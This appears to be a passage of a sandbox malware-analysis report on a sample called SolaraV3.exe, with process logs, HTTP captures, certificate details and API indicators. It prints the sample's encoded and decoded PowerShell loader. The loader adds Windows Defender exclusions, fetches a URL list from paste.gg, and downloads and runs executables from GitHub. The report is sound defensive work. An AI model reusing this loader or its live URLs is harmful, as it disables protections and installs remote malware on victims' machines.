GUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" on 2025-4-8.17:51:37.90166:Tdab,Process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008316, Additional Context: "# Start a hidden PowerShell process to display a message box Start-Process powershell -WindowStyle Hidden -ArgumentList @" Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error'); "@ # Add exclusions to Windows Defender Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force # Download files from a Pastebin URL and execute them $wc = New-Object System.Net.WebClient $lnk = $wc.DownloadString('https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw') -split "`r`n" # Generate a random file name prefix $fn = [System.IO.Path]::GetRandomFileName() # Download and execute each file for ($i = 0; $i -lt $lnk.Length; $i++) { $filePath = Join-Path -Path $env:AppData -ChildPath ($fn + $i.ToString() + '.exe') $wc.DownloadFile($lnk[$i], $filePath) Start-Process -FilePath $filePath }")67:T1b74,"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1 Host: paste.gg Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Sat 29 Mar 2025 16:28:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 59 Connection: keep-alive Set-Cookie: session=WeZ0B4APCGHmSXP4b5Vf1VpAWhPrSVOotK1T0Pq+fTrcuTSs3Q+2OZ9rySMQ3ib%2FgHT+L%2FVFOCGpSnF2; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=2592000; Expires=Sat 05 Apr 2025 16:28:55 GMT content-security-policy: img-src 'self' camo.paste.gg; base-uri 'none'; font-src 'self'; frame-ancestors 'none'; block-all-mixed-content; require-sri-for script style; object-src 'none'; script-src 'self'; style-src 'self'; default-src 'self' x-frame-options: DENY x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin feature-policy: accelerometer 'none'; camera 'none'; geolocation 'none'; gyroscope 'none'; magnetometer 'none'; microphone 'none'; payment 'none'; usb 'none' strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=df93F%2Bkh8kPHhfClwbwem8QwTmv0Qg2if2IbmrIlvqFT%2BnMjQeqdjR2%2FJM0JL3p3aaVCtoDlk1PjlEELeRAi%2BnaMtvkuYKjRNIY%2BINb6fZPjjStDI22PDmMKNg%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 9280be3e1d921566-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1592&rtt_var=617&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2815&recv_bytes=550&delivery_rate=1744324&cwnd=245&unsent_bytes=0&cid=8292b9cc671aa715&ts=584&x=0" with response body ==>68747470733A2F2F6769746875622E636F6D2F68766164646C32682F5346522F7261772F726566732F68656164732F6D61696E2F6C69622E657865....... "GET /hvaddl2h/SFR/raw/refs/heads/main/lib.exe HTTP/1.1 Host: github.com Connection: Keep-Alive" Response ==> HTTP/1.1 302 Found Date: Sat 29 Mar 2025 16:28:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX X-PJAX-Container Turbo-Visit Turbo-Frame Accept-Encoding Accept X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/hvaddl2h/SFR/refs/heads/main/lib.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/ Server: github.com X-GitHub-Request-Id: DBDF:2866D1:E186965:133EEABE:67E81FC8 with no response body "GET /hvaddl2h/SFR/refs/heads/main/lib.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 583168 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "2f9b8f79f6c10451e33205bd284a9d3011ef4275b9881ad31c04c46c6ae7e634" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 51A7:55CB5:A5FB36:E13479:67E81FC7 Accept-Ranges: bytes Date: Sat 29 Mar 2025 16:28:56 GMT Via: 1.1 varnish X-Served-By: cache-sjc10044-SJC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1743265736.357862 VS0 VE315 Vary: Authorization Accept-Encoding Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 286c1d9a42090181adb744a9cce0a42080e8bbfd Expires: Sat 29 Mar 2025 16:33:56 GMT Source-Age: 0 with response body ==>4D5A78.......68:T88a,The input sample is signed with a certificate issued by "CN=Sectigo ECC Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: E4:33:71:DD:D6:91:4A:75:B6:1F:9E:4F:74:6D:9B:F0:DD:26:FC:3A; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust ECC Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: E8:49:90:CB:9B:F8:E3:AB:0B:CA:E8:A6:49:CB:30:FE:4D:C4:D7:67; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: CA:77:88:C3:2D:A1:E4:B7:86:3A:4F:B5:7D:00:B5:5D:DA:CB:C7:F9; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 9E:48:5F:B0:E7:53:93:97:80:3F:E7:B6:17:3F:05:A3:1E:A6:C4:99; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 8C:FF:59:E5:8E:C4:FA:76:FE:AF:2D:C5:C0:D4:13:6A:77:2D:F9:91; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 33:E4:E8:08:07:20:4C:2B:61:82:A3:A1:4B:59:1A:CD:25:B5:F0:DB; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: D8:9E:3B:D4:3D:5D:90:9B:47:A1:89:77:AA:9D:5C:E3:6C:EE:18:4C; see report for more information)69:Tbb1,Found reference to API "80248551135,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:00.765",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp") Found reference to API "155191644374,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:32.000",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "154741682845,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:31.812",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "155941579919,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:32.312",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "155341706053,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:32.062",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "153841641513,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:31.437",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "155792144540,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:32.250",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "154441401161,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:31.687",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "155641737667,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:32.187",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "153991756678,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:31.500",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "151891366368,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:30.625",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "152041295307,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:30.687",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "155491697342,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:32.125",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp") Found reference to API "151591291424,6172,3174,,CreateCompatibleBitmap,Gdi32.dll,"01:00:30.500",RX=0,PX=0" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008612.00000002.232468.1D7E8000.00000004.mdmp")6a:Tb82,Spawned process "SolaraV3.exe" (UID: 00000000-00008612) Spawned process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008952) Spawned process "powershell.exe" with commandline "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error');" (UID: 00000000-00008036) Spawned process "a3bqmcq2.nsp0.exe" (UID: 00000000-00006164) Spawned process "MSBuild.exe" (UID: 00000000-00007108)6b:T9cc,-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAK